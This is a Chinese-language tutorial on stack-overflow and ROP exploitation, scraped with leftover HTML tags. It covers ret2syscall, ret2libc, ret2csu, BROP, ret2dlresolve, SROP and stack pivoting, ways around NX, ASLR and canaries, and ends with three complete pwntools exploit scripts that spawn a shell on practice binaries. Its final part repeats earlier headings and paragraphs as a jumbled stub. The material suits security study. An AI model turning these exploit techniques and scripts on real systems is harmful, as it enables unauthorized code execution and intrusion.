栈溢出与ROP攻击技术进阶指南<\/h1>

1. ROP技术基础<\/h2>

1.1 ROP概述<\/h3>
ROP(Return Oriented Programming)是一种高级的内存攻击技术，用于绕过现代操作系统的各种通用防御(如内存不可执行和代码签名等)。其主要思想是在栈缓冲区溢出的基础上，利用程序中已有的小片段(gadgets)来改变某些寄存器或变量的值，从而控制程序的执行流程。<\/p>

1.2 ROP攻击条件<\/h3>

程序存在溢出漏洞，并且可以控制返回地址<\/li>
可以找到满足条件的gadgets<\/li>

如果gadgets每次的地址不固定，需要动态获取地址<\/li> <\/ol>

2. 基础ROP技术<\/h2>

2.1 ret2syscall<\/h3>

2.1.1 原理<\/h4>

通过系统调用达到目的。在x86架构上，Linux系统调用通过int 80h<\/code>实现，使用系统调用号来区分入口函数。<\/p>

系统调用过程：<\/p>


应用程序调用库函数(API)<\/li>
API将系统调用号存入EAX，通过中断调用进入内核态<\/li>
内核中的中断处理函数根据系统调用号调用对应的内核函数<\/li>
系统调用完成后将返回值存入EAX，返回到中断处理函数<\/li>
中断处理函数返回到API中<\/li>
API将EAX返回给应用程序<\/li>
<\/ol>
2.1.2 利用步骤<\/h4>

检测程序保护机制<\/li>
分析程序漏洞点<\/li>
构造系统调用链(如execve("\/bin\/sh",NULL,NULL))<\/li>
使用ROPgadget工具寻找所需gadgets<\/li>
构造payload并执行<\/li>
<\/ol>
2.1.3 关键gadgets查找<\/h4>
# 查找pop eax; ret<\/span>
<\/span><\/span>ROPgadget --binary ret2syscall --only 'pop|ret'<\/span> | grep 'eax'<\/span>
<\/span><\/span>
<\/span><\/span># 查找pop ebx; ret<\/span>
<\/span><\/span>ROPgadget --binary ret2syscall --only 'pop|ret'<\/span> | grep 'ebx'<\/span>
<\/span><\/span>
<\/span><\/span># 查找字符串"\/bin\/sh"<\/span>
<\/span><\/span>ROPgadget --binary ret2syscall --string '\/bin\/sh'<\/span>
<\/span><\/span>
<\/span><\/span># 查找int 0x80<\/span>
<\/span><\/span>ROPgadget --binary ret2syscall --only 'int'<\/span>
<\/span><\/span><\/code><\/pre>2.2 ret2libc<\/h3>
2.2.1 原理<\/h4>
动态链接情况下，程序链接时不会将库中所有函数都链接进来，只在执行时加载。ret2libc控制执行libc中的函数，通常是返回至某个函数的plt处或函数的具体位置(函数对应的got表项内容)。<\/p>
2.2.2 三种情况<\/h4>

程序中能找到system函数和"\/bin\/sh"字符串<\/li>
程序中只存在其中一个<\/li>
两者都不存在(真正的ret2libc)<\/li>
<\/ol>
2.2.3 利用步骤<\/h4>

检测程序保护机制<\/li>
分析程序漏洞点<\/li>
泄露函数真实地址(如puts)<\/li>
根据泄露地址确定libc版本<\/li>
计算system和"\/bin\/sh"地址<\/li>
构造payload执行system("\/bin\/sh")<\/li>
<\/ol>
2.2.4 关键技巧<\/h4>

使用LibcSearcher工具查找libc版本<\/li>
通过got表泄露函数地址<\/li>
注意栈平衡问题<\/li>
<\/ul>
3. 高级ROP技术<\/h2>
3.1 ret2csu<\/h3>
3.1.1 原理<\/h4>
在64位程序中，函数前6个参数通过寄存器传递(RDI, RSI, RDX, RCX, R8, R9)。ret2csu利用x64下__libc_csu_init<\/code>中的gadgets来设置这些寄存器。<\/p>
3.1.2 关键gadgets<\/h4>
00000000004007BA <__libc_csu_init+90>: pop rbx
00000000004007BB <__libc_csu_init+91>: pop rbp
00000000004007BC <__libc_csu_init+92>: pop r12
00000000004007BE <__libc_csu_init+94>: pop r13
00000000004007C0 <__libc_csu_init+96>: pop r14
00000000004007C2 <__libc_csu_init+98>: pop r15
00000000004007C4 <__libc_csu_init+100>: ret
<\/code><\/pre>
3.1.3 利用步骤<\/h4>

利用栈溢出执行libc_csu_gadgets获取write函数地址<\/li>
使程序重新执行main函数<\/li>
根据libcsearcher获取对应libc版本及execve函数地址<\/li>
再次利用栈溢出执行libc_csu_gadgets向bss段写入execve地址及"\/bin\/sh"<\/li>
再次利用栈溢出执行libc_csu_gadgets执行execve("\/bin\/sh")<\/li>
<\/ol>
3.2 BROP(Blind ROP)<\/h3>
3.2.1 原理<\/h4>
在没有对应应用程序源代码或二进制文件的情况下，对程序进行攻击并劫持程序执行流。<\/p>
3.2.2 攻击条件<\/h4>

程序存在栈溢出漏洞<\/li>
服务器进程崩溃后会重启，且重启后的进程地址与先前相同<\/li>
适用于nginx, MySQL, Apache, OpenSSH等服务器应用<\/li>
<\/ol>
3.2.3 利用步骤<\/h4>

判断栈溢出长度<\/li>
寻找能返回到main函数的gadgets(stop_gadget)<\/li>
寻找brop gadgets(如__libc_csu_init中的gadgets)<\/li>
定位pop rdi; ret的地址<\/li>
寻找puts或write函数的plt<\/li>
dump plt表，用于leak所需函数的got地址<\/li>
通过leak到的got地址找到对应libc版本<\/li>
通过libc执行系统命令获取shell<\/li>
<\/ol>
3.3 ret2dlresolve<\/h3>
3.3.1 原理<\/h4>
利用动态链接器解析符号的过程，伪造重定位表项，使程序解析并执行攻击者指定的函数。<\/p>
3.3.2 关键数据结构<\/h4>

.dynamic段：包含动态链接相关信息<\/li>
.dynstr段：存储符号名称字符串<\/li>
.dynsym段：符号表<\/li>
.rel.plt段：函数重定位表<\/li>
<\/ol>
3.3.3 利用步骤<\/h4>

控制程序执行流到_dl_runtime_resolve<\/li>
伪造Elf32_Rel结构<\/li>
伪造Elf32_Sym结构<\/li>
伪造函数名称字符串<\/li>
触发动态链接器解析过程<\/li>
<\/ol>
3.4 SROP(Sigreturn Oriented Programming)<\/h3>
3.4.1 原理<\/h4>
利用signal机制中内核保存和恢复进程上下文的特性，通过伪造Signal Frame来控制程序执行流。<\/p>
3.4.2 关键点<\/h4>

32位sigreturn调用号为77，64位为15<\/li>
signal handler返回后，内核会执行sigreturn系统调用<\/li>
通过控制rax寄存器值来触发sigreturn<\/li>
<\/ol>
3.4.3 利用步骤(以smallest为例)<\/h4>

泄露栈地址<\/li>
使用SigreturnFrame构造read(0,stack_addr,0x400)<\/li>
通过控制输入字符数调用sigreturn<\/li>
使用SigreturnFrame构造execve("\/bin\/sh",0,0)<\/li>
再次触发sigreturn执行shell<\/li>
<\/ol>
3.5 栈迁移(stack pivoting)<\/h3>
3.5.1 原理<\/h4>
劫持栈指针指向攻击者能控制的内存区域，然后在该位置进行ROP。<\/p>
3.5.2 使用场景<\/h4>

可控栈溢出字节数较少<\/li>
开启PIE保护，栈地址未知<\/li>
其他漏洞难以利用，需要转换攻击面<\/li>
<\/ol>
3.5.3 使用要求<\/h4>

可以控制程序执行流<\/li>
可以控制sp指针(通过pop rsp\/esp或libc_csu_init中的gadgets)<\/li>
存在可控制内容的内存(bss段或堆)<\/li>
<\/ol>
4. 工具与技巧<\/h2>
4.1 常用工具<\/h3>

ROPgadget：查找二进制文件中的gadgets<\/li>
LibcSearcher：根据泄露地址查找libc版本<\/li>
pwntools：构造exp的强大Python库<\/li>
gdb-peda：增强的gdb调试环境<\/li>
<\/ol>
4.2 实用技巧<\/h3>

使用cyclic模式确定溢出偏移量<\/li>
通过ELF解析获取函数plt和got地址<\/li>
注意小端序存储对payload构造的影响<\/li>
考虑栈平衡和内存对齐问题<\/li>
利用pwntools的SigreturnFrame简化SROP利用<\/li>
<\/ol>
5. 防御与绕过<\/h2>
5.1 常见防御机制<\/h3>

NX(DEP)：数据执行保护<\/li>
ASLR：地址空间布局随机化<\/li>
Stack Canary：栈保护机制<\/li>
RELRO：重定位表保护<\/li>
<\/ol>
5.2 绕过方法<\/h3>

针对NX：使用ROP技术<\/li>
针对ASLR：信息泄露或暴力破解<\/li>
针对Stack Canary：泄露canary值或覆盖不检查canary的路径<\/li>
针对RELRO：利用已有的plt\/got表项<\/li>
<\/ol>
6. 实战案例<\/h2>
6.1 ret2syscall示例<\/h3>
from<\/span> pwn import<\/span> *<\/span>
<\/span><\/span>
<\/span><\/span>p =<\/span> process('.\/ret2syscall'<\/span>)
<\/span><\/span>pop_eax_ret =<\/span> 0x080bb196<\/span>
<\/span><\/span>pop_edx_ecx_ebx_ret =<\/span> 0x0806eb90<\/span>
<\/span><\/span>bin_sh_addr =<\/span> 0x080be408<\/span>
<\/span><\/span>int_0x80 =<\/span> 0x08049421<\/span>
<\/span><\/span>
<\/span><\/span>payload =<\/span> flat(['A'<\/span>*<\/span>112<\/span>, pop_eax_ret, 0xb<\/span>, pop_edx_ecx_ebx_ret, 0<\/span>, 0<\/span>, bin_sh_addr, int_0x80])
<\/span><\/span>p.<\/span>sendline(payload)
<\/span><\/span>p.<\/span>interactive()
<\/span><\/span><\/code><\/pre>6.2 ret2libc示例<\/h3>
from<\/span> pwn import<\/span> *<\/span>
<\/span><\/span>from<\/span> LibcSearcher import<\/span> *<\/span>
<\/span><\/span>
<\/span><\/span>p =<\/span> process('.\/ret2libc3'<\/span>)
<\/span><\/span>e =<\/span> ELF('.\/ret2libc3'<\/span>)
<\/span><\/span>context.<\/span>log_level =<\/span> 'debug'<\/span>
<\/span><\/span>
<\/span><\/span>main_got_addr =<\/span> e.<\/span>got['__libc_start_main'<\/span>]
<\/span><\/span>puts_plt_addr =<\/span> e.<\/span>plt['puts'<\/span>]
<\/span><\/span>main =<\/span> e.<\/span>symbols['main'<\/span>]
<\/span><\/span>
<\/span><\/span>payload =<\/span> flat(['A'<\/span>*<\/span>112<\/span>, puts_plt_addr, main, main_got_addr])
<\/span><\/span>p.<\/span>sendlineafter('Can you find it!?'<\/span>, payload)
<\/span><\/span>main_rel_addr =<\/span> u32(p.<\/span>recv()[0<\/span>:4<\/span>])
<\/span><\/span>print hex(main_rel_addr)
<\/span><\/span>
<\/span><\/span>libc =<\/span> LibcSearcher('__libc_start_main'<\/span>, main_rel_addr)
<\/span><\/span>libcbase =<\/span> main_rel_addr -<\/span> libc.<\/span>dump('__libc_start_main'<\/span>)
<\/span><\/span>system_addr =<\/span> libcbase +<\/span> libc.<\/span>dump('system'<\/span>)
<\/span><\/span>binsh_addr =<\/span> libcbase +<\/span> libc.<\/span>dump('str_bin_sh'<\/span>)
<\/span><\/span>
<\/span><\/span>payload =<\/span> flat(['A'<\/span>*<\/span>104<\/span>, system_addr, 0xdeadbeef<\/span>, binsh_addr])
<\/span><\/span>p.<\/span>sendline(payload)
<\/span><\/span>p.<\/span>interactive()
<\/span><\/span><\/code><\/pre>6.3 SROP示例<\/h3>
from<\/span> pwn import<\/span> *<\/span>
<\/span><\/span>
<\/span><\/span>context(os=<\/span>'linux'<\/span>, arch=<\/span>'amd64'<\/span>, log_level=<\/span>'debug'<\/span>)
<\/span><\/span>p =<\/span> process('.\/smallest'<\/span>)
<\/span><\/span>main_addr =<\/span> 0x04000B0<\/span>
<\/span><\/span>syscall_addr =<\/span> 0x04000BE<\/span>
<\/span><\/span>
<\/span><\/span># 泄露栈地址<\/span>
<\/span><\/span>payload =<\/span> p64(main_addr)*<\/span>3<\/span>
<\/span><\/span>p.<\/span>send(payload)
<\/span><\/span>p.<\/span>send('<\/span>\xb3<\/span>'<\/span>)
<\/span><\/span>stack_addr =<\/span> u64(p.<\/span>recv()[8<\/span>:16<\/span>])
<\/span><\/span>
<\/span><\/span># 构造read(0,stack_addr,0x400)<\/span>
<\/span><\/span>frame =<\/span> SigreturnFrame(kernel=<\/span>"amd64"<\/span>)
<\/span><\/span>frame.<\/span>rax =<\/span> constants.<\/span>SYS_read
<\/span><\/span>frame.<\/span>rdi =<\/span> 0x0<\/span>
<\/span><\/span>frame.<\/span>rsi =<\/span> stack_addr
<\/span><\/span>frame.<\/span>rdx =<\/span> 0x400<\/span>
<\/span><\/span>frame.<\/span>rsp =<\/span> stack_addr
<\/span><\/span>frame.<\/span>rip =<\/span> syscall_addr
<\/span><\/span>payload =<\/span> p64(main_addr) +<\/span> p64(0<\/span>) +<\/span> str(frame)
<\/span><\/span>p.<\/span>send(payload)
<\/span><\/span>payload =<\/span> p64(syscall_addr) +<\/span> "<\/span>\x00<\/span>"<\/span>*<\/span>(15<\/span>-<\/span>8<\/span>)
<\/span><\/span>p.<\/span>send(payload)
<\/span><\/span>
<\/span><\/span># 构造execve("\/bin\/sh",0,0)<\/span>
<\/span><\/span>frame =<\/span> SigreturnFrame(kernel=<\/span>"amd64"<\/span>)
<\/span><\/span>frame.<\/span>rax =<\/span> constants.<\/span>SYS_execve
<\/span><\/span>frame.<\/span>rdi =<\/span> stack_addr +<\/span> 0x150<\/span>
<\/span><\/span>frame.<\/span>rsi =<\/span> 0x0<\/span>
<\/span><\/span>frame.<\/span>rdx =<\/span> 0x0<\/span>
<\/span><\/span>frame.<\/span>rsp =<\/span> stack_addr
<\/span><\/span>frame.<\/span>rip =<\/span> syscall_addr
<\/span><\/span>frame_payload =<\/span> p64(main_addr) +<\/span> p64(0<\/span>) +<\/span> str(frame)
<\/span><\/span>payload =<\/span> frame_payload +<\/span> (0x150<\/span>-<\/span>len(frame_payload))*<\/span>"<\/span>\x00<\/span>"<\/span> +<\/span> "\/bin\/sh<\/span>\x00<\/span>"<\/span>
<\/span><\/span>p.<\/span>send(payload)
<\/span><\/span>payload =<\/span> p64(syscall_addr) +<\/span> "<\/span>\x00<\/span>"<\/span>*<\/span>(15<\/span>-<\/span>8<\/span>)
<\/span><\/span>p.<\/span>send(payload)
<\/span><\/span>
<\/span><\/span>p.<\/span>interactive()
<\/span><\/span><\/code><\/pre>7. 总结<\/h2>
ROP技术是现代二进制漏洞利用的核心技术之一，通过组合程序本身的代码片段(gadgets)来绕过各种安全防护机制。从基础的ret2syscall、ret2libc，到高级的ret2csu、BROP、SROP等技术，攻击者可以在不同防护环境下实现代码执行。理解这些技术的原理和实现方式，不仅有助于漏洞利用，也能更好地设计防护措施。<\/p>

栈溢出与ROP攻击技术进阶指南<\/h1>

1. ROP技术基础<\/h2>

2. 基础ROP技术<\/h2>

2.1 ret2syscall<\/h3>

2.2 ret2libc<\/h3>

2.2.1 原理<\/h4> 动态链接情况下，程序链接时不会将库中所有函数都链接进来，只在执行时加载。ret2libc控制执行libc中的函数，通常是返回至某个函数的plt处或函数的具体位置(函数对应的got表项内容)。<\/p>

3. 高级ROP技术<\/h2>

3.1 ret2csu<\/h3>

3.1.1 原理<\/h4> 在64位程序中，函数前6个参数通过寄存器传递(RDI, RSI, RDX, RCX, R8, R9)。ret2csu利用x64下__libc_csu_init<\/code>中的gadgets来设置这些寄存器。<\/p>

3.2 BROP(Blind ROP)<\/h3>

3.2.1 原理<\/h4> 在没有对应应用程序源代码或二进制文件的情况下，对程序进行攻击并劫持程序执行流。<\/p>

3.3 ret2dlresolve<\/h3>

3.3.1 原理<\/h4> 利用动态链接器解析符号的过程，伪造重定位表项，使程序解析并执行攻击者指定的函数。<\/p>

3.4 SROP(Sigreturn Oriented Programming)<\/h3>

3.4.1 原理<\/h4> 利用signal机制中内核保存和恢复进程上下文的特性，通过伪造Signal Frame来控制程序执行流。<\/p>

3.5 栈迁移(stack pivoting)<\/h3>

3.5.1 原理<\/h4> 劫持栈指针指向攻击者能控制的内存区域，然后在该位置进行ROP。<\/p>

4. 工具与技巧<\/h2>

5. 防御与绕过<\/h2>

6. 实战案例<\/h2>

2.2.1 原理<\/h4>
动态链接情况下，程序链接时不会将库中所有函数都链接进来，只在执行时加载。ret2libc控制执行libc中的函数，通常是返回至某个函数的plt处或函数的具体位置(函数对应的got表项内容)。<\/p>

3.1.1 原理<\/h4>
在64位程序中，函数前6个参数通过寄存器传递(RDI, RSI, RDX, RCX, R8, R9)。ret2csu利用x64下`__libc_csu_init<\/code>中的gadgets来设置这些寄存器。<\/p>`

3.2.1 原理<\/h4>
在没有对应应用程序源代码或二进制文件的情况下，对程序进行攻击并劫持程序执行流。<\/p>

3.3.1 原理<\/h4>
利用动态链接器解析符号的过程，伪造重定位表项，使程序解析并执行攻击者指定的函数。<\/p>

3.4.1 原理<\/h4>
利用signal机制中内核保存和恢复进程上下文的特性，通过伪造Signal Frame来控制程序执行流。<\/p>

3.5.1 原理<\/h4>
劫持栈指针指向攻击者能控制的内存区域，然后在该位置进行ROP。<\/p>